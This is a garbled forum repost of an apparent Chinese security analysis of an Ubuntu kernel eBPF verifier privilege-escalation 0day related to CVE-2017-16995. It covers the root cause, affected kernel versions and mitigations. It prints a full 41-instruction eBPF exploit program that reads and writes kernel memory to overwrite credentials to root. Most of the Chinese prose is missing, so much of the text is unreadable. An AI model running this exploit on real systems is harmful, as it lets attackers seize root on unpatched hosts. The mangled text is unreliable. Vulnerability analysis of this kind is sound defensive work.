[12894] 2018-07-02_四两拨千斤:UbuntukerneleBPF0day分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2018-07-02_四两拨千斤:UbuntukerneleBPF0day分析 U b u n t u   k e r n e l   e B P F   0 d a y   F r e e B u f   2 0 1 8 - 0 7 - 0 2 0 x 0 1   0 d a y 0 d a y 0 d a y 广 V i t a l y   N i k o l e n k o t w i t t e r [ 1 ] U b u n t u   1 6 . 0 4 0 d a y [ 2 ] U b u n t u ( r o o t ) U b u n t u D a t a - O r i e n t e d   A t t a c k s l i n u x   0 x 0 2   L i n u x e B P F e B P F e B P F ( e x t e n d e d   B e r k e l e y   P a c k e t   F i l t e r ) B P F e B P F k e r n e l   t r a c i n g t r a c f i c   c o n t r o l e B P F R I S C 使 A P I e B P F B P F   [ 3 ] e B P F [ 4 ] [ 5 ] e B P F v e r i f i e r e B P F e B P F v e r i f i e r V i t a l y   N i k o l e n k o C V E - 2 0 1 7 - 1 6 9 9 5 [ 6 ] 2 1 . C V E - 2 0 1 7 - 1 6 9 9 5 1 2 4 . 9 4 . 1 4 U b u n t u 使 4 . 4
2 . C V E - 2 0 1 7 - 1 6 9 9 5 G o o g l e   P r o j e c t   Z e r o J a n n   H o r n e B P F 4 . 9 4 . 1 4 [ 7 ] U b u n t u   1 4 . 0 4 4 . 4 . 0 - 3 1 - g e n e r i c   # 5 0 ~ 1 4 . 0 4 . 1 - U b u n t u [ 8 ] e B P F v e r i f e r ( k e r n e l / b p f / v e r i f i e r . c ) A L U ( c h e c k _ a l u _ o p ) e l s e 1 . B P F _ A L U 6 4 | B P F _ M O V | B P F _ K 6 4 2 . B P F _ A L U | B P F _ M O V | B P F _ K 3 2 2 i n s n - > i m m i n s n - > i m m i n t e g e r e B P F ( k e r n e l / b p f / c o r e . c ) 2 ( b p f _ p r o g _ r u n ) 2 A L U A L U _ M O V _ K A L U 6 4 _ M O V _ K v e r i f i e r e B P F 2 D S T 6 4 b i t A L U _ M O V _ K 3 2 b i t   u n s i g n e d   i n t e g e r A L U 6 4 _ M O V _ K i m m s i g n   e x t e n s i o n s i g n e d   6 4 b i t   i n t e g e r
C V E - 2 0 1 7 - 1 6 9 9 5 ( 4 . 9 4 . 1 4 v e r i f i e r ) v e f i e r ( c h e c k _ c o n d _ j m p _ o p ) B P F _ J M P | B P F _ J N E | B P F _ I M M = = ( i n s n - > i m m ) p c + o f f A L U 3 2 b i t 6 4 b i t   i n t e g e r i m m e B P F B P F _ J M P | B P F _ J N E | B P F _ I M M ( b p f _ p r o g _ r u n ) i m m s i g n   e x t e n s i o n D S T ! = I M M A L U e B P F v e r i f i e r C V E - 2 0 1 7 - 1 6 9 9 5 C V E - 2 0 1 7 - 1 6 9 9 5 J a n n   H o r n P O C C V E - 2 0 1 7 - 1 6 9 9 5 P O C A L U   s i g n   e x t e n s i o n e B P F v e r i f i e r k e r n e l 4 . 4 4 . 4 e B P F A L U U b u n t u   4 . 4 L i n u x k e r n e l L i n u x   k e r n e l m a i n l i n e s t a b l e l o n g t e r m   3 [ 9 ] m a i n l i n e l o n g t e r m b a c k p o r t l o n g t e r m
4 . 4   l o n g t e r m J a n n   H o r n 4 . 9 L i n u x   k e r n e l l o n g t e r m [ 1 0 ] 使 ( U b u n t u ) l o n g t e r m b a s e k e r n e l b a c k p o r t 使 l o n g t e r m G o o g l e   A n d r o i d P i x e l   / P i x e l   X L   2 3 . 1 8 4 . 4 3 . 1 8 E O L ( E n d   o f   L i f e ) 3 . 1 8 b a c k p o r t 3 . 1 8 m a i n l i n e 4 . 1 6 A n d r o i d   k e r n e l ( g o o g l e ) u p s t r e a m 2 V i t a l y   N i k o l e n k o C V E - 2 0 1 7 - 1 6 9 9 5 4 . 4 ( ) 0 x 0 3   e B P F   v e r i f i e r e B P F 1 . e B P F A L U e B P F   v e r i f i e r 2 . e B P F 3 . S P e B P F t a s k _ s t r u c t t a s k _ s t r u c t - > c r e d 4 . e B P F c r e d - > u i d ,   c r e d - > g i d 0 e B P F V i t a l y   N i k o l e n k o e x p 1 6 ( c h a r * _ _ p r o g ) 便 e B P F l o g e B P F e B P F 4 1 ( )
i n s   0     i n s   1   e B P F   v e r i f i e r i n s   0 r e g s [ 9 ]   =   0 x f f f f f f f f v e r i f i e r r e g s [ 9 ] . i m m   =   - 1 i n s   1 j m p r e g s [ 9 ]   = =   0 x f f f f f f f f r e g s [ 9 ] 6 4 b i t   i n t e g e r s i g n e x t e n s i o n r e g s [ 9 ]   = =   0 x f f f f f f f f f a l s e e B P F 2 ( o f f ) v e r i f i e r j m p r e g s [ 9 ] . i m m   = =   i n s n - > i m m t r u e i n s   3   j m p | e x i t v e r i f i e r d e a d   c o d e e B P F v e r i f i e r e x p k e r n e l e B P F m a p e B P F m a p e B P F m a p m a p e B P F i n s 4 - i n s 5 :   r e g s [ 9 ]   =   s t r u c t   b p f _ m a p   * m a p m a p 2 m a p e B P F   v e r i f i e r m a p i n s 6 - i n s 1 2 :   b p f _ m a p _ l o o k u p _ e l e m ( m a p ,   & k e y ) r e g s [ 0 ]   =   & m a p - > v a l u e [ 0 ] i n s 1 3 :   r e g s [ 6 ]   =   * r e g s [ 0 ]   r e g s [ 6 ] m a p k e y = 0 v a l u e i n s 1 4 - i n s 2 0 :   b p f _ m a p _ l o o k u p _ e l e m ( m a p ,   & k e y ) r e g s [ 0 ]   =   & m a p - > v a l u e [ 1 ] i n s 2 1 :   r e g s [ 7 ]   =   * r e g s [ 0 ] r e g s [ 7 ] m a p k e y = 1 v a l u e i n s 2 2 - i n s 2 8 :   b p f _ m a p _ l o o k u p _ e l e m ( m a p ,   & k e y ) r e g s [ 0 ]   =   & m a p - > v a l u e [ 2 ] i n s 2 9 :   r e g s [ 8 ]   =   * r e g s [ 0 ] r e g s [ 8 ] m a p k e y = 2 v a l u e p a r s i n g   e B P F   p r o g ,   s i z e   3 2 8 ,   l e n   4 1 i n s   0 :   c o d e ( b 4 )   a l u   |   =   |   i m m ,   d s t _ r e g   9 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   f f f f f f f f i n s   1 :   c o d e ( 5 5 )   j m p   |   ! =   |   i m m ,   d s t _ r e g   9 ,   s r c _ r e g   0 ,   o f f   2 ,   i m m   f f f f f f f f i n s   2 :   c o d e ( b 7 )   a l u 6 4   |   =   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   3 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   4 :   c o d e ( 1 8 )   l d   |   B P F _ I M M   |   u 6 4 ,   d s t _ r e g   9 ,   s r c _ r e g   1 ,   o f f   0 ,   i m m   3 i n s   5 :   c o d e ( 0 0 )   l d   |   B P F _ I M M   |   u 3 2 ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   6 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   1 ,   s r c _ r e g   9 ,   o f f   0 ,   i m m   0 i n s   7 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   2 ,   s r c _ r e g   a ,   o f f   0 ,   i m m   0 i n s   8 :   c o d e ( 0 7 )   a l u 6 4   |   + =   |   i m m ,   d s t _ r e g   2 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   f f f f f f f c i n s   9 :   c o d e ( 6 2 )   s t   |   B P F _ M E M   |   u 3 2 ,   d s t _ r e g   a ,   s r c _ r e g   0 ,   o f f   f f f f f f f c ,   i m m   0 i n s   1 0 :   c o d e ( 8 5 )   j m p   |   c a l l   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   1 i n s   1 1 :   c o d e ( 5 5 )   j m p   |   ! =   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   1 ,   i m m   0 i n s   1 2 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   1 3 :   c o d e ( 7 9 )   l d x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   6 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   1 4 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   1 ,   s r c _ r e g   9 ,   o f f   0 ,   i m m   0 i n s   1 5 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   2 ,   s r c _ r e g   a ,   o f f   0 ,   i m m   0 i n s   1 6 :   c o d e ( 0 7 )   a l u 6 4   |   + =   |   i m m ,   d s t _ r e g   2 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   f f f f f f f c i n s   1 7 :   c o d e ( 6 2 )   s t   |   B P F _ M E M   |   u 3 2 ,   d s t _ r e g   a ,   s r c _ r e g   0 ,   o f f   f f f f f f f c ,   i m m   1 i n s   1 8 :   c o d e ( 8 5 )   j m p   |   c a l l   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   1 i n s   1 9 :   c o d e ( 5 5 )   j m p   |   ! =   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   1 ,   i m m   0 i n s   2 0 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   2 1 :   c o d e ( 7 9 )   l d x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   7 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   2 2 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   1 ,   s r c _ r e g   9 ,   o f f   0 ,   i m m   0 i n s   2 3 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   2 ,   s r c _ r e g   a ,   o f f   0 ,   i m m   0 i n s   2 4 :   c o d e ( 0 7 )   a l u 6 4   |   + =   |   i m m ,   d s t _ r e g   2 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   f f f f f f f c i n s   2 5 :   c o d e ( 6 2 )   s t   |   B P F _ M E M   |   u 3 2 ,   d s t _ r e g   a ,   s r c _ r e g   0 ,   o f f   f f f f f f f c ,   i m m   2 i n s   2 6 :   c o d e ( 8 5 )   j m p   |   c a l l   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   1 i n s   2 7 :   c o d e ( 5 5 )   j m p   |   ! =   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   1 ,   i m m   0 i n s   2 8 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   2 9 :   c o d e ( 7 9 )   l d x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   8 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   3 0 :   c o d e ( b f )   a l u 6 4   |   =   |   s r c _ r e g ,   d s t _ r e g   2 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   3 1 :   c o d e ( b 7 )   a l u 6 4   |   =   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   3 2 :   c o d e ( 5 5 )   j m p   |   ! =   |   i m m ,   d s t _ r e g   6 ,   s r c _ r e g   0 ,   o f f   3 ,   i m m   0 i n s   3 3 :   c o d e ( 7 9 )   l d x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   3 ,   s r c _ r e g   7 ,   o f f   0 ,   i m m   0 i n s   3 4 :   c o d e ( 7 b )   s t x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   2 ,   s r c _ r e g   3 ,   o f f   0 ,   i m m   0 i n s   3 5 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   3 6 :   c o d e ( 5 5 )   j m p   |   ! =   |   i m m ,   d s t _ r e g   6 ,   s r c _ r e g   0 ,   o f f   2 ,   i m m   1 i n s   3 7 :   c o d e ( 7 b )   s t x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   2 ,   s r c _ r e g   a ,   o f f   0 ,   i m m   0 i n s   3 8 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 i n s   3 9 :   c o d e ( 7 b )   s t x   |   B P F _ M E M   |   u 6 4 ,   d s t _ r e g   7 ,   s r c _ r e g   8 ,   o f f   0 ,   i m m   0 i n s   4 0 :   c o d e ( 9 5 )   j m p   |   e x i t   |   i m m ,   d s t _ r e g   0 ,   s r c _ r e g   0 ,   o f f   0 ,   i m m   0 p a r s e d   4 1   i n s ,   t o t a l   4 1
i n s 3 0 :   r e g s [ 2 ]   =   r e g s [ 0 ] i n s 3 2 :   i f ( r e g s [ 6 ]   ! =   0 )   j m p   i n s 3 2   +   3 k e y i n s 3 3 :   r e g s [ 3 ]   =   * r e g s [ 7 ] r e g s [ 7 ] r e a d r e g s [ 7 ] i n s 3 4 :   * r e g s [ 2 ]   =   r e g s [ 3 ] i n s 3 6 :   i f ( r e g s [ 6 ]   ! =   1 )   j m p   i n s 3 6   +   2 i n s 3 7 :   * r e g s [ 2 ]   =   r e g s [ F P ] ,   e B P F e B P F b p f _ p r o g _ r u n u i n t 6 4 g e t _ f p i n s 3 9 :   * r e g s [ 7 ]   =   r e g s [ 8 ] r e g s [ 7 ] r e g s [ 8 ] w r i t e r e g s [ 7 ] e B P F e x p e B P F 3 F P k e r n e l k e r n e l v e r i f i e r 2 v e r i f i e r U b u n t u   1 4 . 0 4 ( S M E P / S M A P ) D a t a - O r i e n t e d   A t t a c k s l i n u x k e r n e l 0 x 0 4   & l i n u x   k e r n e l l i n u x   k e r n e l 3 . 1 8 - 4 . 4 ( l o n g t e r m   3 . 1 8 4 . 1 4 . 4 ) < 3 . 1 8 e B P F v e r i f i e r 使 2 1 . K e r n e l C O N F I G _ B P F _ S Y S C A L L b p f   s y s c a l l 2 . / p r o c / s y s / k e r n e l / u n p r i v i l e g e d _ b p f _ d i s a b l e d 0 b p f   s y s c a l l U b u n t u 3 u p s t r e a m   k e r n e l 3 2 2 4 . 4 . 1 2 3 [ 1 1 ] [ 1 2 ] U b u n t u 4 5 [ 1 3 ] [ 1 4 ] E x p 2 0 1 . / p r o c / s y s / k e r n e l / u n p r i v i l e g e d _ b p f _ d i s a b l e d 1 e x p 2 . 使 U b u n t u U b u n t u   4 . 4 V i t a l y   N i k o l e n k o t w i t t e r U b u n t u a l l   4 . 4   u b u n t u   a w s   i n s t a n c e s   a r e   v u l n e r a b l e :   e c h o d e b   h t t p : / / a r c h i v e . u b u n t u . c o m / u b u n t u / x e n i a l - p r o p o s e d   r e s t r i c t e d   m a i n   m u l t i v e r s e   u n i v e r s e   >   / e t c / a p t / s o u r c e s . l i s t   & & a p t   u p d a t e   & &   a p t   i n s t a l l   l i n u x - i m a g e - 4 . 4 . 0 - 1 1 7 - g e n e r i c
U b u n t u ( U b u n t u k e r n e l u p s t r e a m ) g i t   d i f f   U b u n t u - l t s - 4 . 4 . 0 - 1 1 6 . 1 4 0 _ 1 4 . 0 4 . 1   U b u n t u - l t s - 4 . 4 . 0 - 1 1 7 . 1 4 1 _ 1 4 . 0 4 . 1 A L U 3 2 b i t 6 4 b i t r e g s [ ] . i m m 6 4 b i t   i n t e g e r d e a d _ c o d e n o p e x p e x p m i t i g a t i o n u p s t r e a m   k e r n e l U b u n t u u p s t r e a m   k e r n e l   4 . 4 . 1 2 3 3 [ 1 2 ] 3 2 b i t   A L U i m m U N K N O W N _ V A L U E v e r i f e r A n d r o i d   k e r n e l b p f   s y c a l l
0 x 0 5   1 . e B P F e B P F 2 . l i n u x   k e r n e l N   d a y 0 d a y 3 . V i t a l y   N i k o l e n k o e x p V i t a l y   N i k o l e n k o 4 . 使 O S O S 0 x 0 6   [ 1 ]   h t t p s : / / t w i t t e r . c o m / v n i k 5 2 8 7 / s t a t u s / 9 7 4 4 3 9 7 0 6 8 9 6 1 8 7 3 9 2 [ 2 ]   h t t p : / / c y s e c l a b s . c o m / e x p l o i t s / u p s t r e a m 4 4 . c [ 3 ]   h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e k e y . c g i ? k e y w o r d = B P F [ 4 ]   h t t p s : / / w w w . i b m . c o m / d e v e l o p e r w o r k s / c n / l i n u x / l - l o - e B P F - h i s t o r y / i n d e x . h t m l [ 5 ]   h t t p s : / / w w w . k e r n e l . o r g / d o c / D o c u m e n t a t i o n / n e t w o r k i n g / f i l t e r . t x t [ 6 ] h t t p s : / / c v e . m i t r e . o r g / c g i - b i n / c v e n a m e . c g i ? n a m e = C V E - 2 0 1 7 - 1 6 9 9 5 [ 7 ] h t t p s : / / b u g s . c h r o m i u m . o r g / p / p r o j e c t - z e r o / i s s u e s / d e t a i l ? i d = 1 4 5 4 & d e s c = 3 [ 8 ] h t t p : / / k e r n e l . u b u n t u . c o m / g i t / u b u n t u / u b u n t u - t r u s t y . g i t / t r e e / ? h = U b u n t u - l t s - 4 . 4 . 0 - 3 1 . 5 0 _ 1 4 . 0 4 . 1 [ 9 ]   h t t p s : / / w w w . k e r n e l . o r g / [ 1 0 ]   h t t p s : / / l w n . n e t / A r t i c l e s / 7 0 0 5 3 0 / [ 1 1 ]   h t t p s : / / l w n . n e t / A r t i c l e s / 7 4 9 9 6 3 / [ 1 2 ]   h t t p s : / / l k m l . o r g / l k m l / 2 0 1 8 / 3 / 1 9 / 1 4 9 9 [ 1 3 ]   h t t p s : / / u s n . u b u n t u . c o m / 3 6 1 9 - 1 / [ 1 4 ]   h t t p s : / / u s n . u b u n t u . c o m / 3 6 1 9 - 2 / *   ( T S R C ) 稿 稿 T e n c e n t   B l a d e   T e a m C r a d m i n

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则